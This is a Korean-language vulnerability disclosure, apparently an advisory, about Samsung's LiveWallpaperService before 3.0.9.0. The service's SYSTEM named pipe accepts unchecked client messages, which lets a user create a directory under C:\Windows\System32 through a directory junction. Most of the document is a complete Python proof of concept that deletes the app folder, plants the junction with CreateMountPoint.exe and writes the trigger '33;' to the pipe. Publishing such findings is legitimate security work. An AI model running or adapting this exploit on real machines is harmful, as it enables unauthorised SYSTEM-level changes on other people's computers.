
LiveWallpaperService 3.0.9.0 이전 버전의 부적절한 접근 제어로 인해 적절한 권한 없이 특정 이름의 시스템 디렉터리를 생성할 수 있습니다.
테스트된 Windows 버전: Windows 10 20H2 (Build 19042.1348) 64bit
Live Wallpaper 버전: 3.0.9.0 이하
Samsung 노트북에는 기본적으로 동작하는 LiveWallpaperService가 있습니다. 그런데 SYSTEM 서비스에서 SYSTEM 권한으로 디렉터리를 생성하는 취약점이 있었습니다.
Live Wallpaper는 일반적으로 Samsung 노트북에 기본 설치되어 있지만, Microsoft Store에서 제공되는 앱이기도 합니다. 이 앱은 사용자 권한으로 실행될 수 있으며, Named PIPE IPC를 통해 서버와 클라이언트 간에 통신합니다. 이때 PIPE 서버는 SYSTEM 권한으로 동작하며 클라이언트가 무엇인지 확인하지 않습니다.
해당 앱이 실행될 때 수행되는 동작 과정은 다음과 같습니다.
서버는 유니코드 문자열 '33;'을 수신하면 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' 폴더에 접근하여 LiveWallpaperData 디렉터리의 존재 여부를 확인합니다. 그리고 해당 디렉터리에 'LiveWallpaperData'라는 이름의 새 파일 시스템 디렉터리를 생성합니다.
프로세스 간 통신에는 Named PIPE가 사용됩니다. 별도의 클라이언트 검사가 없기 때문에 공격자가 직접 파이프를 열어 원하는 데이터를 보낼 수 있습니다.
먼저 Named PIPE를 직접 연 후, james forshaw가 만든 symboliclink-testing-tools를 사용하여 C:\Windows\System32에 대한 디렉터리 접합(junction)을 생성합니다. 그러면 System32 디렉터리의 하위 디렉터리가 권한과 함께 생성됩니다.
해당 취약점에 대한 PoC는 다음과 같습니다.
PoC를 수행하려면 다음 조건이 충족되어야 합니다.
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()